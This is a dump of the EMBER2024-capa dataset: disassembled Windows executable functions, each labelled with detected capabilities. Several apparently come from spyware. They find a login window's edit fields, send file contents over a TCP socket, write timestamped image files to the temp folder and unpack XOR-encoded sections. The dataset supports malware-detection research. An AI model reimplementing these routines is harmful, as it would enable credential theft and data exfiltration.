joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401add
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x40808c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x218
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x24], esi
lea edi, [esi + 8]
mov ecx, edi
call sub.MFC42.DLL_CString::CString_2
lea ebx, [esi + 0xc]
mov dword [esp + 0x230], 0
mov ecx, ebx
call sub.MFC42.DLL_CString::CString_2
lea eax, [esp + 0x128]
mov byte [esp + 0x230], 1
push eax
push 0xff
mov dword [esi], 0x40973c
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x1e]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1a]
and edx, 0xffff
push edx
mov edx, dword [esp + 0x1c]
and eax, 0xffff
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x18]
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x1e]
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push edx
mov edx, dword [esp + 0x26]
and eax, 0xffff
and ecx, 0xffff
push eax
and edx, 0xffff
push ecx
push edx
lea eax, [esp + 0x44]
push str._02d_02d_04d__02d_02d_02d_03d.BMP
push eax
call ebp
add esp, 0x24
lea ecx, [esp + 0x128]
push ecx
mov ecx, edi
call fcn.0040776e
lea edx, [esp + 0x28]
mov ecx, edi
push edx
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [esp + 0x1e]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x1a]
and eax, 0xffff
push eax
mov eax, dword [esp + 0x1c]
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x18]
and eax, 0xffff
push edx
mov edx, dword [esp + 0x1e]
push eax
mov eax, dword [esp + 0x26]
and ecx, 0xffff
and edx, 0xffff
push ecx
and eax, 0xffff
push edx
push eax
push str._02d_02d_04d__02d_02d_02d_03d.JPG
lea ecx, [esp + 0x48]
push ecx
call ebp
add esp, 0x24
lea edx, [esp + 0x128]
mov ecx, ebx
push edx
call fcn.0040776e
lea eax, [esp + 0x28]
mov ecx, ebx
push eax
call sub.MFC42.DLL_CString::operator_1
push 0x1f2c
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x22c]
add esp, 4
mov dword [esi + 4], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x224
ret

Function at 0x401c70
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x4080ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x40973c
mov eax, dword [esi + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edi, [esi + 8]
push eax
mov dword [esp + 0x1c], 0
call ebx
mov eax, dword [esi + 0xc]
add esi, 0xc
push eax
call ebx
mov ecx, esi
call sub.MFC42.DLL_CString::CString
mov ecx, edi
mov dword [esp + 0x18], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x403eb0
Capabilities:
Accept command line arguments
Create process on windows
Get common file path

Disassembly:
sub esp, 0x304
push ebx
push ebp
push esi
mov esi, dword [esp + 0x314]
mov ebx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov dword [ebx], 0x4097d0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
call sub.MFC42.DLL_operatornew
mov edi, dword [esp + 0x320]
mov dword [0x40d848], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
call sub.MFC42.DLL_operatornew
mov dword [0x40d84c], eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, dword [sym.imp.MSVCRT.dll__strlwr]
mov eax, ecx
mov esi, edi
mov edi, dword [0x40d848]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x40d848]
push ecx
call ebp
mov edi, dword [esp + 0x328]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [0x40d84c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x40d84c]
push eax
call ebp
mov ecx, dword [esp + 0x330]
add esp, 0x10
lea edx, [esp + 0x214]
mov dword [0x40b2e8], ecx
push 0xff
push edx
push 0
mov dword [ebx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x14]
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
push 0x5c
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + ecx + 0x17], al
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
lea esi, [esp + 0x11c]
lea edi, [edx + 1]
mov dword [esp + 0x18], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x11c]
mov byte [edx], 0
push ecx
call ebp
add esp, 0xc
push str.flash
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov edi, dword [0x40d84c]
mov esi, eax
add esp, 8
lea eax, [esp + 0x114]
neg esi
sbb esi, esi
neg esi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [edi]
jne 0x404049
test cl, cl
je 0x404045
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [edi + 1]
jne 0x404049
add eax, 2
add edi, 2
test cl, cl
jne 0x404025
xor edi, edi
jmp 0x40404e
sbb edi, edi
sbb edi, 0xffffffff
lea eax, [esp + 0x14]
push eax
call fcn.00404940
test eax, eax
je 0x4040ab
test esi, esi
je 0x40408a
push 5
push 0
lea ecx, [esp + 0x21c]
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x304
ret 0xc
test edi, edi
je 0x4040b9
push 5
push 0x521
mov ecx, ebx
call fcn.00404f90
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x304
ret 0xc
mov ecx, ebx
mov dword [ebx + 0xc], 1
call fcn.00404280
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x304
ret 0xc
Function at 0x404d10
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x1000
call fcn.004079f0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
push 0x64
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10]
push 0x40b480
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, dword [sym.imp.MSVCRT.dll_fseek]
mov ebp, eax
push 2
push 0xffffffffffffffce
push ebp
call ebx
push ebp
push 0x32
lea edx, [esp + 0x82c]
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x24
push 1
push 0xffffffffffffff9c
push ebp
call ebx
push ebp
push 0x32
lea eax, [esp + 0x24]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fread]
mov al, byte [esp + 0x5d]
add esp, 0x1c
cmp al, 0xaa
jne 0x404e0f
or ecx, 0xffffffff
mov edi, 0x40b478
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x810]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x810]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x404d62
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
lea edi, [esp + 0x814]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x1014]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x810]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
pop edi
dec ecx
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x1000
ret 4

Function at 0x404e60
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x64
lea eax, [esp]
push esi
push edi
push 0x64
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 8]
push 0x40b480
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
push 2
push 0xffffffffffffffce
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
push 0x32
lea edx, [esp + 0x24]
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fread]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x70]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
mov eax, ecx
pop esi
add esp, 0x64
ret 4
Function at 0x4055b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x40814a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esi], 0x4097e8
xor edi, edi
lea ecx, [esi + 4]
mov dword [esp + 0x20], edi
call sub.MFC42.DLL_CString::CString_2
lea ebp, [esi + 0x24]
mov byte [esp + 0x20], 1
mov ecx, ebp
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x44]
mov byte [esp + 0x20], 2
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x48]
mov byte [esp + 0x20], 3
call sub.MFC42.DLL_CString::CString_2
lea ebx, [esi + 0x4c]
mov byte [esp + 0x20], 4
mov ecx, ebx
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x50]
mov byte [esp + 0x20], 5
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x28]
mov dword [esi + 0x2c], ecx
push edx
mov ecx, ebp
mov byte [esp + 0x24], 6
mov dword [esi], 0x4097d4
mov dword [esi + 0x28], eax
call sub.MFC42.DLL_CString::operator
mov eax, dword [esi + 0x2c]
mov dword [esi + 0xc], edi
cmp eax, edi
je 0x405668
lea ecx, [esi + 0x3c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [esi + 0x40], eax
push 0x40b910
mov ecx, ebx
mov dword [esi + 0x54], edi
call fcn.0040776e
push 0x40b910
lea ecx, [esi + 0x50]
call fcn.0040776e
mov eax, dword [esi + 0x2c]
mov ebx, dword [sym.imp.USER32.dll_FindWindowExA]
cmp eax, edi
mov dword [esi + 8], 1
mov dword [esi + 0x20], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x30], edi
je 0x4056c1
push str.YLoginWnd
push str.32770
push edi
push eax
call ebx
mov dword [esi + 0x30], eax
mov eax, dword [esi + 0x30]
cmp eax, edi
je 0x4056d5
push edi
push str.Edit
push edi
push eax
call ebx
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x30]
cmp eax, edi
je 0x4056ec
mov edx, dword [esi + 0x34]
push edi
push str.Edit
push edx
push eax
call ebx
mov dword [esi + 0x38], eax
mov ecx, dword [esi + 0x38]
lea eax, [esp + 0x14]
push eax
push 0x3e8
push 2
push edi
push edi
push 0x303
push ecx
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
mov ecx, dword [esp + 0x18]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 0xc
Function at 0x407160
Capabilities:
Create tcp socket
Initialize winsock library

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
push 0x200
call sub.MFC42.DLL_operatornew
push 0x100
mov dword [ebx + 0x1ac], eax
call sub.MFC42.DLL_operatornew
mov edx, eax
mov edi, str.TheComputerOfTheGhost
or ecx, 0xffffffff
xor eax, eax
add esp, 8
mov dword [ebx + 0x1b0], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x202
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
test eax, eax
je 0x4071d3
mov ecx, dword [ebx + 0x1ac]
push str.Error_at_WSAStartup___n
push ecx
call esi
add esp, 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebx + 0x190], eax
jne 0x40720e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, dword [ebx + 0x1ac]
push eax
push str.Error_at_socket__:__ld_n
push edx
call esi
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
mov eax, ebx
pop esi
pop ebx
ret
mov dword [ebx + 0x194], eax
pop edi
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x407220
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, ecx
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40723b
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
jmp 0x40723f
mov eax, dword [esp + 8]
push edi
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
lea edi, [esi + 0x198]
push eax
mov word [edi], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi + 0x19c], eax
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [esi + 0x190]
push 0x10
push edi
push ecx
mov word [esi + 0x19a], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
pop edi
jne 0x4072a9
mov edx, dword [esi + 0x1ac]
push str.Failed_to_connect._n
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop esi
ret 8
xor eax, eax
pop esi
ret 8

Function at 0x407300
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x408
push ebx
push ebp
push esi
push edi
push 0x40b2b8
mov ebp, ecx
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, dword [sym.imp.MSVCRT.dll_fread]
mov ebx, dword [sym.imp.WS2_32.dll_send]
add esp, 8
mov esi, eax
push esi
push 0x400
lea ecx, [esp + 0x18]
push 1
push ecx
call edi
add esp, 0x10
test eax, eax
je 0x407354
push 0
push eax
mov eax, dword [ebp + 0x190]
lea edx, [esp + 0x18]
push edx
push eax
call ebx
cmp eax, 0x400
jge 0x40732d
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x408
ret 8
Function at 0x406273
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x406298
mov eax, dword [0x40a8a0]
cmp eax, 0xffffffff
je 0x40628f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x40a8a0], 0xffffffff
jmp 0x40630b
cmp dword [0x440a40], ebx
je 0x40630b
cmp byte [0x440640], bl
je 0x4062d7
cmp dword [0x40a8a0], 0xffffffff
jne 0x4062e0
push 4
push 0x40000000
push 0x440640
call fcn.00405c27
cmp eax, 0xffffffff
mov dword [0x40a8a0], eax
je 0x40630b
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x40a8a0], 0xffffffff
je 0x40630b
push esi
mov esi, 0x444a60
push 0x40aae8
push esi
call fcn.00405f75
lea eax, [ebp + 8]
push ebx
push eax
push esi
call fcn.00405f68
push eax
push esi
push dword [0x40a8a0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
pop ebx
pop ebp
ret 4

Function at 0x4064bd
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor esi, esi
cmp dword [0x44023c], esi
push edi
jne 0x4064f7
mov ecx, 0x440238
push 8
mov eax, esi
pop edi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec edi
jne 0x4064d3
mov dword [ecx], eax
add ecx, 4
inc esi
cmp ecx, 0x440638
jl 0x4064ce
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov edx, ecx
dec ecx
test edx, edx
not eax
jbe 0x40652c
lea edx, [ecx + 1]
mov ecx, dword [esp + 0x10]
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x440238]
xor eax, esi
inc ecx
dec edx
jne 0x40650f
pop edi
pop esi
not eax
ret 0xc

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x2053706b
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x1a8e0f15
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x37a120b0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, dword [0x37b48968]
sub esp, 0xc
push edi
mov edi, dword [esp + 0x14]
test eax, eax
je 0x37a12288
push ebx
mov ecx, 0x37b48970
push ebp
mov dword [esp + 0x10], ecx
push esi
lea eax, [eax + 0x37a10000]
mov dword [esp + 0x10], eax
mov eax, dword [ecx - 4]
test eax, eax
je 0x37a12274
dec eax
mov dword [esp + 0x18], eax
mov eax, dword [edi]
cmp eax, 0x270
jne 0x37a12140
lea eax, [edi + 8]
mov esi, 0x270
nop dword [eax]
mov edx, dword [eax - 4]
lea eax, [eax + 4]
xor edx, dword [eax - 4]
and edx, 0x7fffffff
xor edx, dword [eax - 8]
mov ecx, edx
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [eax + 0x62c]
xor ecx, edx
mov dword [eax + 0x9b8], ecx
sub esi, 1
jne 0x37a12100
mov eax, dword [edi]
jmp 0x37a12225
cmp eax, 0x4e0
jb 0x37a12225
mov eax, dword [edi + 0x9c4]
lea ebx, [edi + 0x9c4]
mov ebp, 0xe3
nop dword [eax]
mov ecx, dword [ebx + 4]
lea edx, [ebx + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx + 0x634]
xor eax, ecx
mov dword [ebx - 0x9c0], eax
lea ebx, [edx]
mov eax, dword [edx]
sub ebp, 1
jne 0x37a12160
mov eax, dword [edi + 0xd50]
lea ebx, [edi + 0xd50]
mov ebp, 0x18c
nop word [eax + eax]
mov ecx, eax
lea edx, [ebx + 4]
xor ecx, dword [edx]
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx - 0xd4c]
xor eax, ecx
mov dword [ebx - 0x9c0], eax
lea ebx, [edx]
mov eax, dword [edx]
sub ebp, 1
jne 0x37a121b0
mov ecx, dword [edi + 0x1380]
xor ecx, dword [edi + 4]
and ecx, 0x7fffffff
xor ecx, dword [edi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi + 0x9c0], eax
xor eax, eax
mov dword [edi], 0
mov edx, dword [edi + eax*4 + 4]
inc eax
mov dword [edi], eax
mov eax, edx
shr eax, 0xb
and eax, dword [edi + 0x1384]
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov ecx, edx
and ecx, 0xffffdf8c
shl ecx, 0xf
xor ecx, edx
mov eax, ecx
shr eax, 0x12
xor al, cl
mov ecx, dword [esp + 0x10]
add byte [ecx], al
inc ecx
mov eax, dword [esp + 0x18]
mov dword [esp + 0x10], ecx
test eax, eax
jne 0x37a120e6
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx]
add ecx, 8
mov dword [esp + 0x14], ecx
test eax, eax
jne 0x37a120d1
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0xc
ret
Function at 0x37a181e0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x164
push ebx
push ebp
push esi
push edi
push 0xc8
lea eax, [esp + 0x1c]
mov ebp, edx
push 0
push eax
mov dword [esp + 0x20], ebp
mov ebx, ecx
call fcn.37ab5e70
add esp, 0xc
cmp ebp, 0x88
jl 0x37a182ee
mov eax, 0xf0f0f0f1
lea edi, [esp + 0x28]
mul ebp
sub edi, ebx
lea esi, [ebx + 0x80]
mov ebp, edx
shr ebp, 7
imul eax, ebp, 0xffffff78
add dword [esp + 0x14], eax
lea ecx, [esp + 0x18]
xor eax, eax
cmp ecx, esi
ja 0x37a18249
lea ecx, [esp + 0x98]
cmp ecx, ebx
jae 0x37a182b0
lea ecx, [esi - 0x60]
nop dword [eax]
movups xmm0, xmmword [esp + eax*8 + 0x18]
lea ecx, [ecx + 0x40]
movups xmm1, xmmword [ecx - 0x60]
pxor xmm1, xmm0
movups xmmword [esp + eax*8 + 0x18], xmm1
movups xmm0, xmmword [esp + eax*8 + 0x28]
movups xmm1, xmmword [ecx - 0x50]
pxor xmm1, xmm0
movups xmmword [esp + eax*8 + 0x28], xmm1
add eax, 8
movups xmm0, xmmword [edi + ecx - 0x50]
movups xmm1, xmmword [ecx - 0x40]
pxor xmm1, xmm0
movups xmmword [edi + ecx - 0x50], xmm1
movups xmm0, xmmword [edi + ecx - 0x40]
movups xmm1, xmmword [ecx - 0x30]
pxor xmm1, xmm0
movups xmmword [edi + ecx - 0x40], xmm1
cmp eax, 0x10
jl 0x37a18250
cmp eax, 0x11
jge 0x37a182c6
nop dword [eax + eax]
mov ecx, dword [esi + eax*8 - 0x80]
xor dword [esp + eax*8 + 0x18], ecx
mov ecx, dword [esi + eax*8 - 0x7c]
xor dword [esp + eax*8 + 0x1c], ecx
inc eax
cmp eax, 0x11
jl 0x37a182b0
lea ecx, [esp + 0x18]
call fcn.37a17760
add ebx, 0x88
add esi, 0x88
sub edi, 0x88
sub ebp, 1
jne 0x37a18234
mov ebp, dword [esp + 0x14]
push ebp
lea eax, [esp + 0xe4]
push ebx
push eax
call fcn.37ab58f0
add esp, 0xc
mov byte [esp + ebp + 0xe0], 1
mov eax, ebp
not eax
add eax, 0x88
push eax
lea eax, [esp + 0xe5]
add eax, ebp
push 0
push eax
call fcn.37ab5e70
or byte [esp + 0x173], 0x80
add esp, 0xc
xor ecx, ecx
movups xmm0, xmmword [esp + ecx*8 + 0x18]
movups xmm1, xmmword [esp + ecx*8 + 0xe0]
pxor xmm1, xmm0
movups xmmword [esp + ecx*8 + 0x18], xmm1
movups xmm0, xmmword [esp + ecx*8 + 0x28]
movups xmm1, xmmword [esp + ecx*8 + 0xf0]
pxor xmm1, xmm0
movups xmmword [esp + ecx*8 + 0x28], xmm1
movups xmm0, xmmword [esp + ecx*8 + 0x38]
movups xmm1, xmmword [esp + ecx*8 + 0x100]
pxor xmm1, xmm0
movups xmmword [esp + ecx*8 + 0x38], xmm1
movups xmm0, xmmword [esp + ecx*8 + 0x48]
movups xmm1, xmmword [esp + ecx*8 + 0x110]
pxor xmm1, xmm0
movups xmmword [esp + ecx*8 + 0x48], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x37a18330
cmp ecx, 0x11
jge 0x37a183c1
shl ecx, 3
nop dword [eax + eax]
mov eax, dword [esp + ecx + 0xe0]
xor dword [esp + ecx + 0x18], eax
mov eax, dword [esp + ecx + 0xe4]
xor dword [esp + ecx + 0x1c], eax
add ecx, 8
cmp ecx, 0x88
jl 0x37a183a0
lea ecx, [esp + 0x18]
call fcn.37a17760
push 0xc8
mov eax, ecx
push eax
push dword [esp + 0x180]
call fcn.37ab58f0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x164
ret
Function at 0x37a85b40
Capabilities:
Encode data using xor

Disassembly:
jmp 0x37a85bbb
vmwrite ecx, dword [ebx - 0x68]
push ebp
sahf
lodsd eax, dword [esi]
sti
pop ss
xchg cl, ah
imul edx, eax, 0x55
push esi
mov esi, 0xf7d35962
jecxz 0x37a85c3e
jmp [ecx]
xor byte [ebx], 0xf5
mov ah, 0xce
push 0x44
shl dl, cl
invalid

Function at 0x37a85e30
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm2, xmmword [ecx]
movups xmm3, xmmword [edx]
pslldq xmm2, 4
movaps xmm1, xmm2
pslldq xmm2, 4
pxor xmm1, xmmword [ecx]
movaps xmm4, xmm2
pxor xmm4, xmm1
pslldq xmm2, 4
pxor xmm4, xmm2
movaps xmm2, xmm3
aeskeygenassist xmm0, xmm3, 2
pshufd xmm0, xmm0, 0xff
pxor xmm4, xmm0
pslldq xmm2, 4
movaps xmm0, xmm2
movups xmmword [ecx], xmm4
pslldq xmm2, 4
pxor xmm0, xmm3
movaps xmm1, xmm2
pslldq xmm2, 4
pxor xmm1, xmm0
aeskeygenassist xmm0, xmm4, 0
pxor xmm1, xmm2
pshufd xmm0, xmm0, 0xaa
pxor xmm1, xmm0
movups xmmword [edx], xmm1
ret
Function at 0x37a897d0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x37adf568
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], 0
mov dword [esi], 0x37b03ae4
mov ecx, dword [edi + 0x10]
mov eax, dword [ecx]
cmp eax, 0x37b035bc
jne 0x37a89886
mov eax, dword [ecx + 0x24]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
mov dword [esi + 8], eax
mov eax, dword [edi + 8]
mov dword [esi + 0xc], eax
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
mov eax, dword [edi + 0x10]
push 0xffffffffffffffff
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
